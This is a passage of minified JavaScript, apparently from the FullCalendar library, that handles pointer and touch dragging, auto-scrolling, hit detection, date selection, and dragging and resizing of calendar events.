n=t.createEventFromMouse(e,!0);t.emitter.trigger("pointerdown",n),t.initScrollWatch(n),t.shouldIgnoreMove||document.addEventListener("mousemove",t.handleMouseMove),document.addEventListener("mouseup",t.handleMouseUp)}},this.handleMouseMove=function(e){var n=t.createEventFromMouse(e);t.recordCoords(n),t.emitter.trigger("pointermove",n)},this.handleMouseUp=function(e){document.removeEventListener("mousemove",t.handleMouseMove),document.removeEventListener("mouseup",t.handleMouseUp),t.emitter.trigger("pointerup",t.createEventFromMouse(e)),t.cleanup()},this.handleTouchStart=function(e){if(t.tryStart(e)){t.isTouchDragging=!0;var n=t.createEventFromTouch(e,!0);t.emitter.trigger("pointerdown",n),t.initScrollWatch(n);var r=e.target;t.shouldIgnoreMove||r.addEventListener("touchmove",t.handleTouchMove),r.addEventListener("touchend",t.handleTouchEnd),r.addEventListener("touchcancel",t.handleTouchEnd),window.addEventListener("scroll",t.handleTouchScroll,!0)}},this.handleTouchMove=function(e){var n=t.createEventFromTouch(e);t.recordCoords(n),t.emitter.trigger("pointermove",n)},this.handleTouchEnd=function(e){if(t.isDragging){var n=e.target;n.removeEventListener("touchmove",t.handleTouchMove),n.removeEventListener("touchend",t.handleTouchEnd),n.removeEventListener("touchcancel",t.handleTouchEnd),window.removeEventListener("scroll",t.handleTouchScroll,!0),t.emitter.trigger("pointerup",t.createEventFromTouch(e)),t.cleanup(),t.isTouchDragging=!1,ma+=1,setTimeout((function(){ma-=1}),vi.touchMouseIgnoreWait)}},this.handleTouchScroll=function(){t.wasTouchScroll=!0},this.handleScroll=function(e){if(!t.shouldIgnoreMove){var n=window.pageXOffset-t.prevScrollX+t.prevPageX,r=window.pageYOffset-t.prevScrollY+t.prevPageY;t.emitter.trigger("pointermove",{origEvent:e,isTouch:t.isTouchDragging,subjectEl:t.subjectEl,pageX:n,pageY:r,deltaX:n-t.origPageX,deltaY:r-t.origPageY})}},this.containerEl=e,this.emitter=new xr,e.addEventListener("mousedown",this.handleMouseDown),e.addEventListener("touchstart",this.handleTouchStart,{passive:!0}),1===(ya+=1)&&window.addEventListener("touchmove",Da,{passive:!1})}return e.prototype.destroy=function(){this.containerEl.removeEventListener("mousedown",this.handleMouseDown),this.containerEl.removeEventListener("touchstart",this.handleTouchStart,{passive:!0}),(ya-=1)||window.removeEventListener("touchmove",Da,{passive:!1})},e.prototype.tryStart=function(e){var t=this.querySubjectEl(e),n=e.target;return!(!t||this.handleSelector&&!z(n,this.handleSelector))&&(this.subjectEl=t,this.isDragging=!0,this.wasTouchScroll=!1,!0)},e.prototype.cleanup=function(){Ea=!1,this.isDragging=!1,this.subjectEl=null,this.destroyScrollWatch()},e.prototype.querySubjectEl=function(e){return this.selector?z(e.target,this.selector):this.containerEl},e.prototype.shouldIgnoreMouse=function(){return ma||this.isTouchDragging},e.prototype.cancelTouchScroll=function(){this.isDragging&&(Ea=!0)},e.prototype.initScrollWatch=function(e){this.shouldWatchScroll&&(this.recordCoords(e),window.addEventListener("scroll",this.handleScroll,!0))},e.prototype.recordCoords=function(e){this.shouldWatchScroll&&(this.prevPageX=e.pageX,this.prevPageY=e.pageY,this.prevScrollX=window.pageXOffset,this.prevScrollY=window.pageYOffset)},e.prototype.destroyScrollWatch=function(){this.shouldWatchScroll&&window.removeEventListener("scroll",this.handleScroll,!0)},e.prototype.createEventFromMouse=function(e,t){var n=0,r=0;return t?(this.origPageX=e.pageX,this.origPageY=e.pageY):(n=e.pageX-this.origPageX,r=e.pageY-this.origPageY),{origEvent:e,isTouch:!1,subjectEl:this.subjectEl,pageX:e.pageX,pageY:e.pageY,deltaX:n,deltaY:r}},e.prototype.createEventFromTouch=function(e,t){var n,r,o=e.touches,i=0,a=0;return o&&o.length?(n=o[0].pageX,r=o[0].pageY):(n=e.pageX,r=e.pageY),t?(this.origPageX=n,this.origPageY=r):(i=n-this.origPageX,a=r-this.origPageY),{origEvent:e,isTouch:!0,subjectEl:this.subjectEl,pageX:n,pageY:r,deltaX:i,deltaY:a}},e}();function Da(e){Ea&&e.preventDefault()}var ba=function(){function e(){this.isVisible=!1,this.sourceEl=null,this.mirrorEl=null,this.sourceElRect=null,this.parentNode=document.body,this.zIndex=9999,this.revertDuration=0}return e.prototype.start=function(e,t,n){this.sourceEl=e,this.sourceElRect=this.sourceEl.getBoundingClientRect(),this.origScreenX=t-window.pageXOffset,this.origScreenY=n-window.pageYOffset,this.deltaX=0,this.deltaY=0,this.updateElPosition()},e.prototype.handleMove=function(e,t){this.deltaX=e-window.pageXOffset-this.origScreenX,this.deltaY=t-window.pageYOffset-this.origScreenY,this.updateElPosition()},e.prototype.setIsVisible=function(e){e?this.isVisible||(this.mirrorEl&&(this.mirrorEl.style.display=""),this.isVisible=e,this.updateElPosition()):this.isVisible&&(this.mirrorEl&&(this.mirrorEl.style.display="none"),this.isVisible=e)},e.prototype.stop=function(e,t){var n=this,r=function(){n.cleanup(),t()};e&&this.mirrorEl&&this.isVisible&&this.revertDuration&&(this.deltaX||this.deltaY)?this.doRevertAnimation(r,this.revertDuration):setTimeout(r,0)},e.prototype.doRevertAnimation=function(e,t){var n=this.mirrorEl,r=this.sourceEl.getBoundingClientRect();n.style.transition="top "+t+"ms,left "+t+"ms",q(n,{left:r.left,top:r.top}),$(n,(function(){n.style.transition="",e()}))},e.prototype.cleanup=function(){this.mirrorEl&&(F(this.mirrorEl),this.mirrorEl=null),this.sourceEl=null},e.prototype.updateElPosition=function(){this.sourceEl&&this.isVisible&&q(this.getMirrorEl(),{left:this.sourceElRect.left+this.deltaX,top:this.sourceElRect.top+this.deltaY})},e.prototype.getMirrorEl=function(){var e=this.sourceElRect,t=this.mirrorEl;return t||((t=this.mirrorEl=this.sourceEl.cloneNode(!0)).classList.add("fc-unselectable"),t.classList.add("fc-event-dragging"),q(t,{position:"fixed",zIndex:this.zIndex,visibility:"",boxSizing:"border-box",width:e.right-e.left,height:e.bottom-e.top,right:"auto",bottom:"auto",margin:0}),this.parentNode.appendChild(t)),t},e}(),Ca=function(e){function t(t,n){var r=e.call(this)||this;return r.handleScroll=function(){r.scrollTop=r.scrollController.getScrollTop(),r.scrollLeft=r.scrollController.getScrollLeft(),r.handleScrollChange()},r.scrollController=t,r.doesListening=n,r.scrollTop=r.origScrollTop=t.getScrollTop(),r.scrollLeft=r.origScrollLeft=t.getScrollLeft(),r.scrollWidth=t.getScrollWidth(),r.scrollHeight=t.getScrollHeight(),r.clientWidth=t.getClientWidth(),r.clientHeight=t.getClientHeight(),r.clientRect=r.computeClientRect(),r.doesListening&&r.getEventTarget().addEventListener("scroll",r.handleScroll),r}return n(t,e),t.prototype.destroy=function(){this.doesListening&&this.getEventTarget().removeEventListener("scroll",this.handleScroll)},t.prototype.getScrollTop=function(){return this.scrollTop},t.prototype.getScrollLeft=function(){return this.scrollLeft},t.prototype.setScrollTop=function(e){this.scrollController.setScrollTop(e),this.doesListening||(this.scrollTop=Math.max(Math.min(e,this.getMaxScrollTop()),0),this.handleScrollChange())},t.prototype.setScrollLeft=function(e){this.scrollController.setScrollLeft(e),this.doesListening||(this.scrollLeft=Math.max(Math.min(e,this.getMaxScrollLeft()),0),this.handleScrollChange())},t.prototype.getClientWidth=function(){return this.clientWidth},t.prototype.getClientHeight=function(){return this.clientHeight},t.prototype.getScrollWidth=function(){return this.scrollWidth},t.prototype.getScrollHeight=function(){return this.scrollHeight},t.prototype.handleScrollChange=function(){},t}(Ir),wa=function(e){function t(t,n){return e.call(this,new Pr(t),n)||this}return n(t,e),t.prototype.getEventTarget=function(){return this.scrollController.el},t.prototype.computeClientRect=function(){return Rr(this.scrollController.el)},t}(Ca),Ra=function(e){function t(t){return e.call(this,new Nr,t)||this}return n(t,e),t.prototype.getEventTarget=function(){return window},t.prototype.computeClientRect=function(){return{left:this.scrollLeft,right:this.scrollLeft+this.clientWidth,top:this.scrollTop,bottom:this.scrollTop+this.clientHeight}},t.prototype.handleScrollChange=function(){this.clientRect=this.computeClientRect()},t}(Ca),Ta="function"==typeof performance?performance.now:Date.now,ka=function(){function e(){var e=this;this.isEnabled=!0,this.scrollQuery=[window,".fc-scroller"],this.edgeThreshold=50,this.maxVelocity=300,this.pointerScreenX=null,this.pointerScreenY=null,this.isAnimating=!1,this.scrollCaches=null,this.everMovedUp=!1,this.everMovedDown=!1,this.everMovedLeft=!1,this.everMovedRight=!1,this.animate=function(){if(e.isAnimating){var t=e.computeBestEdge(e.pointerScreenX+window.pageXOffset,e.pointerScreenY+window.pageYOffset);if(t){var n=Ta();e.handleSide(t,(n-e.msSinceRequest)/1e3),e.requestAnimation(n)}else e.isAnimating=!1}}}return e.prototype.start=function(e,t){this.isEnabled&&(this.scrollCaches=this.buildCaches(),this.pointerScreenX=null,this.pointerScreenY=null,this.everMovedUp=!1,this.everMovedDown=!1,this.everMovedLeft=!1,this.everMovedRight=!1,this.handleMove(e,t))},e.prototype.handleMove=function(e,t){if(this.isEnabled){var n=e-window.pageXOffset,r=t-window.pageYOffset,o=null===this.pointerScreenY?0:r-this.pointerScreenY,i=null===this.pointerScreenX?0:n-this.pointerScreenX;o<0?this.everMovedUp=!0:o>0&&(this.everMovedDown=!0),i<0?this.everMovedLeft=!0:i>0&&(this.everMovedRight=!0),this.pointerScreenX=n,this.pointerScreenY=r,this.isAnimating||(this.isAnimating=!0,this.requestAnimation(Ta()))}},e.prototype.stop=function(){if(this.isEnabled){this.isAnimating=!1;for(var e=0,t=this.scrollCaches;e<t.length;e++){t[e].destroy()}this.scrollCaches=null}},e.prototype.requestAnimation=function(e){this.msSinceRequest=e,requestAnimationFrame(this.animate)},e.prototype.handleSide=function(e,t){var n=e.scrollCache,r=this.edgeThreshold,o=r-e.distance,i=o*o/(r*r)*this.maxVelocity*t,a=1;switch(e.name){case"left":a=-1;case"right":n.setScrollLeft(n.getScrollLeft()+i*a);break;case"top":a=-1;case"bottom":n.setScrollTop(n.getScrollTop()+i*a)}},e.prototype.computeBestEdge=function(e,t){for(var n=this.edgeThreshold,r=null,o=0,i=this.scrollCaches;o<i.length;o++){var a=i[o],s=a.clientRect,l=e-s.left,u=s.right-e,c=t-s.top,d=s.bottom-t;l>=0&&u>=0&&c>=0&&d>=0&&(c<=n&&this.everMovedUp&&a.canScrollUp()&&(!r||r.distance>c)&&(r={scrollCache:a,name:"top",distance:c}),d<=n&&this.everMovedDown&&a.canScrollDown()&&(!r||r.distance>d)&&(r={scrollCache:a,name:"bottom",distance:d}),l<=n&&this.everMovedLeft&&a.canScrollLeft()&&(!r||r.distance>l)&&(r={scrollCache:a,name:"left",distance:l}),u<=n&&this.everMovedRight&&a.canScrollRight()&&(!r||r.distance>u)&&(r={scrollCache:a,name:"right",distance:u}))}return r},e.prototype.buildCaches=function(){return this.queryScrollEls().map((function(e){return e===window?new Ra(!1):new wa(e,!1)}))},e.prototype.queryScrollEls=function(){for(var e=[],t=0,n=this.scrollQuery;t<n.length;t++){var r=n[t];"object"==typeof r?e.push(r):e.push.apply(e,Array.prototype.slice.call(document.querySelectorAll(r)))}return e},e}(),Ma=function(e){function t(t,n){var r=e.call(this,t)||this;r.delay=null,r.minDistance=0,r.touchScrollAllowed=!0,r.mirrorNeedsRevert=!1,r.isInteracting=!1,r.isDragging=!1,r.isDelayEnded=!1,r.isDistanceSurpassed=!1,r.delayTimeoutId=null,r.onPointerDown=function(e){r.isDragging||(r.isInteracting=!0,r.isDelayEnded=!1,r.isDistanceSurpassed=!1,re(document.body),ie(document.body),e.isTouch||e.origEvent.preventDefault(),r.emitter.trigger("pointerdown",e),r.isInteracting&&!r.pointer.shouldIgnoreMove&&(r.mirror.setIsVisible(!1),r.mirror.start(e.subjectEl,e.pageX,e.pageY),r.startDelay(e),r.minDistance||r.handleDistanceSurpassed(e)))},r.onPointerMove=function(e){if(r.isInteracting){if(r.emitter.trigger("pointermove",e),!r.isDistanceSurpassed){var t=r.minDistance,n=e.deltaX,o=e.deltaY;n*n+o*o>=t*t&&r.handleDistanceSurpassed(e)}r.isDragging&&("scroll"!==e.origEvent.type&&(r.mirror.handleMove(e.pageX,e.pageY),r.autoScroller.handleMove(e.pageX,e.pageY)),r.emitter.trigger("dragmove",e))}},r.onPointerUp=function(e){r.isInteracting&&(r.isInteracting=!1,oe(document.body),ae(document.body),r.emitter.trigger("pointerup",e),r.isDragging&&(r.autoScroller.stop(),r.tryStopDrag(e)),r.delayTimeoutId&&(clearTimeout(r.delayTimeoutId),r.delayTimeoutId=null))};var o=r.pointer=new Sa(t);return o.emitter.on("pointerdown",r.onPointerDown),o.emitter.on("pointermove",r.onPointerMove),o.emitter.on("pointerup",r.onPointerUp),n&&(o.selector=n),r.mirror=new ba,r.autoScroller=new ka,r}return n(t,e),t.prototype.destroy=function(){this.pointer.destroy(),this.onPointerUp({})},t.prototype.startDelay=function(e){var t=this;"number"==typeof this.delay?this.delayTimeoutId=setTimeout((function(){t.delayTimeoutId=null,t.handleDelayEnd(e)}),this.delay):this.handleDelayEnd(e)},t.prototype.handleDelayEnd=function(e){this.isDelayEnded=!0,this.tryStartDrag(e)},t.prototype.handleDistanceSurpassed=function(e){this.isDistanceSurpassed=!0,this.tryStartDrag(e)},t.prototype.tryStartDrag=function(e){this.isDelayEnded&&this.isDistanceSurpassed&&(this.pointer.wasTouchScroll&&!this.touchScrollAllowed||(this.isDragging=!0,this.mirrorNeedsRevert=!1,this.autoScroller.start(e.pageX,e.pageY),this.emitter.trigger("dragstart",e),!1===this.touchScrollAllowed&&this.pointer.cancelTouchScroll()))},t.prototype.tryStopDrag=function(e){this.mirror.stop(this.mirrorNeedsRevert,this.stopDrag.bind(this,e))},t.prototype.stopDrag=function(e){this.isDragging=!1,this.emitter.trigger("dragend",e)},t.prototype.setIgnoreMove=function(e){this.pointer.shouldIgnoreMove=e},t.prototype.setMirrorIsVisible=function(e){this.mirror.setIsVisible(e)},t.prototype.setMirrorNeedsRevert=function(e){this.mirrorNeedsRevert=e},t.prototype.setAutoScrollEnabled=function(e){this.autoScroller.isEnabled=e},t}(hi),xa=function(){function e(e){this.origRect=Tr(e),this.scrollCaches=kr(e).map((function(e){return new wa(e,!0)}))}return e.prototype.destroy=function(){for(var e=0,t=this.scrollCaches;e<t.length;e++){t[e].destroy()}},e.prototype.computeLeft=function(){for(var e=this.origRect.left,t=0,n=this.scrollCaches;t<n.length;t++){var r=n[t];e+=r.origScrollLeft-r.getScrollLeft()}return e},e.prototype.computeTop=function(){for(var e=this.origRect.top,t=0,n=this.scrollCaches;t<n.length;t++){var r=n[t];e+=r.origScrollTop-r.getScrollTop()}return e},e.prototype.isWithinClipping=function(e,t){for(var n,r,o={left:e,top:t},i=0,a=this.scrollCaches;i<a.length;i++){var s=a[i];if(n=s.getEventTarget(),r=void 0,"HTML"!==(r=n.tagName)&&"BODY"!==r&&!sr(o,s.clientRect))return!1}return!0},e}();var _a=function(){function e(e,t){var n=this;this.useSubjectCenter=!1,this.requireInitial=!0,this.initialHit=null,this.movingHit=null,this.finalHit=null,this.handlePointerDown=function(e){var t=n.dragging;n.initialHit=null,n.movingHit=null,n.finalHit=null,n.prepareHits(),n.processFirstCoord(e),n.initialHit||!n.requireInitial?(t.setIgnoreMove(!1),n.emitter.trigger("pointerdown",e)):t.setIgnoreMove(!0)},this.handleDragStart=function(e){n.emitter.trigger("dragstart",e),n.handleMove(e,!0)},this.handleDragMove=function(e){n.emitter.trigger("dragmove",e),n.handleMove(e)},this.handlePointerUp=function(e){n.releaseHits(),n.emitter.trigger("pointerup",e)},this.handleDragEnd=function(e){n.movingHit&&n.emitter.trigger("hitupdate",null,!0,e),n.finalHit=n.movingHit,n.movingHit=null,n.emitter.trigger("dragend",e)},this.droppableStore=t,e.emitter.on("pointerdown",this.handlePointerDown),e.emitter.on("dragstart",this.handleDragStart),e.emitter.on("dragmove",this.handleDragMove),e.emitter.on("pointerup",this.handlePointerUp),e.emitter.on("dragend",this.handleDragEnd),this.dragging=e,this.emitter=new xr}return e.prototype.processFirstCoord=function(e){var t,n={left:e.pageX,top:e.pageY},r=n,o=e.subjectEl;o!==document&&(r=ur(r,t=Tr(o)));var i=this.initialHit=this.queryHitForOffset(r.left,r.top);if(i){if(this.useSubjectCenter&&t){var a=lr(t,i.rect);a&&(r=cr(a))}this.coordAdjust=dr(r,n)}else this.coordAdjust={left:0,top:0}},e.prototype.handleMove=function(e,t){var n=this.queryHitForOffset(e.pageX+this.coordAdjust.left,e.pageY+this.coordAdjust.top);!t&&Ia(this.movingHit,n)||(this.movingHit=n,this.emitter.trigger("hitupdate",n,!1,e))},e.prototype.prepareHits=function(){this.offsetTrackers=Ue(this.droppableStore,(function(e){return e.component.prepareHits(),new xa(e.el)}))},e.prototype.releaseHits=function(){var e=this.offsetTrackers;for(var t in e)e[t].destroy();this.offsetTrackers={}},e.prototype.queryHitForOffset=function(e,t){var n=this.droppableStore,r=this.offsetTrackers,o=null;for(var i in n){var a=n[i].component,s=r[i];if(s&&s.isWithinClipping(e,t)){var l=s.computeLeft(),u=s.computeTop(),c=e-l,d=t-u,p=s.origRect,f=p.right-p.left,h=p.bottom-p.top;if(c>=0&&c<f&&d>=0&&d<h){var v=a.queryHit(c,d,f,h),g=a.context.getCurrentData().dateProfile;v&&ln(g.activeRange,v.dateSpan.range)&&(!o||v.layer>o.layer)&&(v.rect.left+=l,v.rect.right+=l,v.rect.top+=u,v.rect.bottom+=u,o=v)}}}return o},e}();function Ia(e,t){return!e&&!t||Boolean(e)===Boolean(t)&&kn(e.dateSpan,t.dateSpan)}function Pa(e,t){for(var n,o,i={},a=0,s=t.pluginHooks.datePointTransforms;a<s.length;a++){var l=s[a];r(i,l(e,t))}return r(i,(n=e,{date:(o=t.dateEnv).toDate(n.range.start),dateStr:o.formatIso(n.range.start,{omitTime:n.allDay}),allDay:n.allDay})),i}var Na=function(e){function t(t){var n=e.call(this,t)||this;n.handlePointerDown=function(e){var t=n.dragging,r=e.origEvent.target;t.setIgnoreMove(!n.component.isValidDateDownEl(r))},n.handleDragEnd=function(e){var t=n.component;if(!n.dragging.pointer.wasTouchScroll){var o=n.hitDragging,i=o.initialHit,a=o.finalHit;if(i&&a&&Ia(i,a)){var s=t.context,l=r(r({},Pa(i.dateSpan,s)),{dayEl:i.dayEl,jsEvent:e.origEvent,view:s.viewApi||s.calendarApi.view});s.emitter.trigger("dateClick",l)}}},n.dragging=new Ma(t.el),n.dragging.autoScroller.isEnabled=!1;var o=n.hitDragging=new _a(n.dragging,pi(t));return o.emitter.on("pointerdown",n.handlePointerDown),o.emitter.on("dragend",n.handleDragEnd),n}return n(t,e),t.prototype.destroy=function(){this.dragging.destroy()},t}(ci),Ha=function(e){function t(t){var n=e.call(this,t)||this;n.dragSelection=null,n.handlePointerDown=function(e){var t=n,r=t.component,o=t.dragging,i=r.context.options.selectable&&r.isValidDateDownEl(e.origEvent.target);o.setIgnoreMove(!i),o.delay=e.isTouch?function(e){var t=e.context.options,n=t.selectLongPressDelay;null==n&&(n=t.longPressDelay);return n}(r):null},n.handleDragStart=function(e){n.component.context.calendarApi.unselect(e)},n.handleHitUpdate=function(e,t){var o=n.component.context,i=null,a=!1;e&&((i=function(e,t,n){var o=e.dateSpan,i=t.dateSpan,a=[o.range.start,o.range.end,i.range.start,i.range.end];a.sort(pe);for(var s={},l=0,u=n;l<u.length;l++){var c=(0,u[l])(e,t);if(!1===c)return null;c&&r(s,c)}return s.range={start:a[0],end:a[3]},s.allDay=o.allDay,s}(n.hitDragging.initialHit,e,o.pluginHooks.dateSelectionTransformers))&&n.component.isDateSelectionValid(i)||(a=!0,i=null)),i?o.dispatch({type:"SELECT_DATES",selection:i}):t||o.dispatch({type:"UNSELECT_DATES"}),a?te():ne(),t||(n.dragSelection=i)},n.handlePointerUp=function(e){n.dragSelection&&(In(n.dragSelection,e,n.component.context),n.dragSelection=null)};var o=t.component.context.options,i=n.dragging=new Ma(t.el);i.touchScrollAllowed=!1,i.minDistance=o.selectMinDistance||0,i.autoScroller.isEnabled=o.dragScroll;var a=n.hitDragging=new _a(n.dragging,pi(t));return a.emitter.on("pointerdown",n.handlePointerDown),a.emitter.on("dragstart",n.handleDragStart),a.emitter.on("hitupdate",n.handleHitUpdate),a.emitter.on("pointerup",n.handlePointerUp),n}return n(t,e),t.prototype.destroy=function(){this.dragging.destroy()},t}(ci);var Oa=function(e){function t(n){var o=e.call(this,n)||this;o.subjectEl=null,o.subjectSeg=null,o.isDragging=!1,o.eventRange=null,o.relevantEvents=null,o.receivingContext=null,o.validMutation=null,o.mutatedRelevantEvents=null,o.handlePointerDown=function(e){var t=e.origEvent.target,n=o,r=n.component,i=n.dragging,a=i.mirror,s=r.context.options,l=r.context;o.subjectEl=e.subjectEl;var u=o.subjectSeg=fn(e.subjectEl),c=(o.eventRange=u.eventRange).instance.instanceId;o.relevantEvents=Ot(l.getCurrentData().eventStore,c),i.minDistance=e.isTouch?0:s.eventDragMinDistance,i.delay=e.isTouch&&c!==r.props.eventSelection?function(e){var t=e.context.options,n=t.eventLongPressDelay;null==n&&(n=t.longPressDelay);return n}(r):null,s.fixedMirrorParent?a.parentNode=s.fixedMirrorParent:a.parentNode=z(t,".fc"),a.revertDuration=s.dragRevertDuration;var d=r.isValidSegDownEl(t)&&!z(t,".fc-event-resizer");i.setIgnoreMove(!d),o.isDragging=d&&e.subjectEl.classList.contains("fc-event-draggable")},o.handleDragStart=function(e){var t=o.component.context,n=o.eventRange,r=n.instance.instanceId;e.isTouch?r!==o.component.props.eventSelection&&t.dispatch({type:"SELECT_EVENT",eventInstanceId:r}):t.dispatch({type:"UNSELECT_EVENT"}),o.isDragging&&(t.calendarApi.unselect(e),t.emitter.trigger("eventDragStart",{el:o.subjectEl,event:new Bn(t,n.def,n.instance),jsEvent:e.origEvent,view:t.viewApi}))},o.handleHitUpdate=function(e,t){if(o.isDragging){var n=o.relevantEvents,r=o.hitDragging.initialHit,i=o.component.context,a=null,s=null,l=null,u=!1,c={affectedEvents:n,mutatedEvents:{defs:{},instances:{}},isEvent:!0};if(e){var d=e.component,p=(a=d.context).options;i===a||p.editable&&p.droppable?(s=function(e,t,n){var r=e.dateSpan,o=t.dateSpan,i=r.range.start,a=o.range.start,s={};r.allDay!==o.allDay&&(s.allDay=o.allDay,s.hasEnd=t.component.context.options.allDayMaintainDuration,o.allDay&&(i=we(i)));var l=tn(i,a,e.component.context.dateEnv,e.component===t.component?e.component.largeUnit:null);l.milliseconds&&(s.allDay=!1);for(var u={datesDelta:l,standardProps:s},c=0,d=n;c<d.length;c++){(0,d[c])(u,e,t)}return u}(r,e,a.getCurrentData().pluginHooks.eventDragMutationMassagers))&&(l=Hn(n,a.getCurrentData().eventUiBases,s,a),c.mutatedEvents=l,d.isInteractionValid(c)||(u=!0,s=null,l=null,c.mutatedEvents={defs:{},instances:{}})):a=null}o.displayDrag(a,c),u?te():ne(),t||(i===a&&Ia(r,e)&&(s=null),o.dragging.setMirrorNeedsRevert(!s),o.dragging.setMirrorIsVisible(!e||!document.querySelector(".fc-event-mirror")),o.receivingContext=a,o.validMutation=s,o.mutatedRelevantEvents=l)}},o.handlePointerUp=function(){o.isDragging||o.cleanup()},o.handleDragEnd=function(e){if(o.isDragging){var t=o.component.context,n=t.viewApi,i=o,a=i.receivingContext,s=i.validMutation,l=o.eventRange.def,u=o.eventRange.instance,c=new Bn(t,l,u),d=o.relevantEvents,p=o.mutatedRelevantEvents,f=o.hitDragging.finalHit;if(o.clearDrag(),t.emitter.trigger("eventDragStop",{el:o.subjectEl,event:c,jsEvent:e.origEvent,view:n}),s){if(a===t){var h=new Bn(t,p.defs[l.defId],u?p.instances[u.instanceId]:null);t.dispatch({type:"MERGE_EVENTS",eventStore:p});for(var v={oldEvent:c,event:h,relatedEvents:Gn(p,t,u),revert:function(){t.dispatch({type:"MERGE_EVENTS",eventStore:d})}},g={},m=0,y=t.getCurrentData().pluginHooks.eventDropTransformers;m<y.length;m++){var E=y[m];r(g,E(s,t))}t.emitter.trigger("eventDrop",r(r(r({},v),g),{el:e.subjectEl,delta:s.datesDelta,jsEvent:e.origEvent,view:n})),t.emitter.trigger("eventChange",v)}else if(a){var S={event:c,relatedEvents:Gn(d,t,u),revert:function(){t.dispatch({type:"MERGE_EVENTS",eventStore:d})}};t.emitter.trigger("eventLeave",r(r({},S),{draggedEl:e.subjectEl,view:n})),t.dispatch({type:"REMOVE_EVENTS",eventStore:d}),t.emitter.trigger("eventRemove",S);var D=p.defs[l.defId],b=p.instances[u.instanceId],C=new Bn(a,D,b);a.dispatch({type:"MERGE_EVENTS",eventStore:p});var w={event:C,relatedEvents:Gn(p,a,b),revert:function(){a.dispatch({type:"REMOVE_EVENTS",eventStore:p})}};a.emitter.trigger("eventAdd",w),e.isTouch&&a.dispatch({type:"SELECT_EVENT",eventInstanceId:u.instanceId}),a.emitter.trigger("drop",r(r({},Pa(f.dateSpan,a)),{draggedEl:e.subjectEl,jsEvent:e.origEvent,view:f.component.context.viewApi})),a.emitter.trigger("eventReceive",r(r({},w),{draggedEl:e.subjectEl,view:f.component.context.viewApi}))}}else t.emitter.trigger("_noEventDrop")}o.cleanup()};var i=o.component.context.options,a=o.dragging=new Ma(n.el);a.pointer.selector=t.SELECTOR,a.touchScrollAllowed=!1,a.autoScroller.isEnabled=i.dragScroll;var s=o.hitDragging=new _a(o.dragging,fi);return s.useSubjectCenter=n.useEventCenter,s.emitter.on("pointerdown",o.handlePointerDown),s.emitter.on("dragstart",o.handleDragStart),s.emitter.on("hitupdate",o.handleHitUpdate),s.emitter.on("pointerup",o.handlePointerUp),s.emitter.on("dragend",o.handleDragEnd),o}return n(t,e),t.prototype.destroy=function(){this.dragging.destroy()},t.prototype.displayDrag=function(e,t){var n=this.component.context,r=this.receivingContext;r&&r!==e&&(r===n?r.dispatch({type:"SET_EVENT_DRAG",state:{affectedEvents:t.affectedEvents,mutatedEvents:{defs:{},instances:{}},isEvent:!0}}):r.dispatch({type:"UNSET_EVENT_DRAG"})),e&&e.dispatch({type:"SET_EVENT_DRAG",state:t})},t.prototype.clearDrag=function(){var e=this.component.context,t=this.receivingContext;t&&t.dispatch({type:"UNSET_EVENT_DRAG"}),e!==t&&e.dispatch({type:"UNSET_EVENT_DRAG"})},t.prototype.cleanup=function(){this.subjectSeg=null,this.isDragging=!1,this.eventRange=null,this.relevantEvents=null,this.receivingContext=null,this.validMutation=null,this.mutatedRelevantEvents=null},t.SELECTOR=".fc-event-draggable, .fc-event-resizable",t}(ci);var Aa=function(e){function t(t){var n=e.call(this,t)||this;n.draggingSegEl=null,n.draggingSeg=null,n.eventRange=null,n.relevantEvents=null,n.validMutation=null,n.mutatedRelevantEvents=null,n.handlePointerDown=function(e){var t=n.component,r=fn(n.querySegEl(e)),o=n.eventRange=r.eventRange;n.dragging.minDistance=t.context.options.eventDragMinDistance,n.dragging.setIgnoreMove(!n.component.isValidSegDownEl(e.origEvent.target)||e.isTouch&&n.component.props.eventSelection!==o.instance.instanceId)},n.handleDragStart=function(e){var t=n.component.context,r=n.eventRange;n.relevantEvents=Ot(t.getCurrentData().eventStore,n.eventRange.instance.instanceId);var o=n.querySegEl(e);n.draggingSegEl=o,n.draggingSeg=fn(o),t.calendarApi.unselect(),t.emitter.trigger("eventResizeStart",{el:o,event:new Bn(t,r.def,r.instance),jsEvent:e.origEvent,view:t.viewApi})},n.handleHitUpdate=function(e,t,o){var i=n.component.context,a=n.relevantEvents,s=n.hitDragging.initialHit,l=n.eventRange.instance,u=null,c=null,d=!1,p={affectedEvents:a,mutatedEvents:{defs:{},instances:{}},isEvent:!0};e&&(u=function(e,t,n,o,i){for(var a=e.component.context.dateEnv,s=e.dateSpan.range.start,l=t.dateSpan.range.start,u=tn(s,l,a,e.component.largeUnit),c={},d=0,p=i;d<p.length;d++){var f=(0,p[d])(e,t);if(!1===f)return null;f&&r(c,f)}if(n){if(a.add(o.start,u)<o.end)return c.startDelta=u,c}else if(a.add(o.end,u)>o.start)return c.endDelta=u,c;return null}(s,e,o.subjectEl.classList.contains("fc-event-resizer-start"),l.range,i.pluginHooks.eventResizeJoinTransforms)),u&&(c=Hn(a,i.getCurrentData().eventUiBases,u,i),p.mutatedEvents=c,n.component.isInteractionValid(p)||(d=!0,u=null,c=null,p.mutatedEvents=null)),c?i.dispatch({type:"SET_EVENT_RESIZE",state:p}):i.dispatch({type:"UNSET_EVENT_RESIZE"}),d?te():ne(),t||(u&&Ia(s,e)&&(u=null),n.validMutation=u,n.mutatedRelevantEvents=c)},n.handleDragEnd=function(e){var t=n.component.context,o=n.eventRange.def,i=n.eventRange.instance,a=new Bn(t,o,i),s=n.relevantEvents,l=n.mutatedRelevantEvents;if(t.emitter.trigger("eventResizeStop",{el:n.draggingSegEl,event:a,jsEvent:e.origEvent,view:t.viewApi}),n.validMutation){var u=new Bn(t,l.defs[o.defId],i?l.instances[i.instanceId]:null);t.dispatch({type:"MERGE_EVENTS",eventStore:l});var c={oldEvent:a,event:u,relatedEvents:Gn(l,t,i),revert:function(){t.dispatch({type:"MERGE_EVENTS",eventStore:s})}};t.emitter.trigger("eventResize",r(r({},c),{el:n.draggingSegEl,startDelta:n.validMutation.startDelta||Xe(0),endDelta:n.validMutation.endDelta||Xe(0),jsEvent:e.origEvent,view:t.viewApi})),t.emitter.trigger("eventChange",c)}else t.emitter.trigger("_noEventResize");n.draggingSeg=null,n.relevantEvents=null,n.validMutation=null};var o=t.component,i=n.dragging=new Ma(t.el);i.pointer.selector=".fc-event-resizer",i.touchScrollAllowed=!1,i.autoScroller.isEnabled=o.context.options.dragScroll;var a=n.hitDragging=new _a(n.dragging,pi(t));return 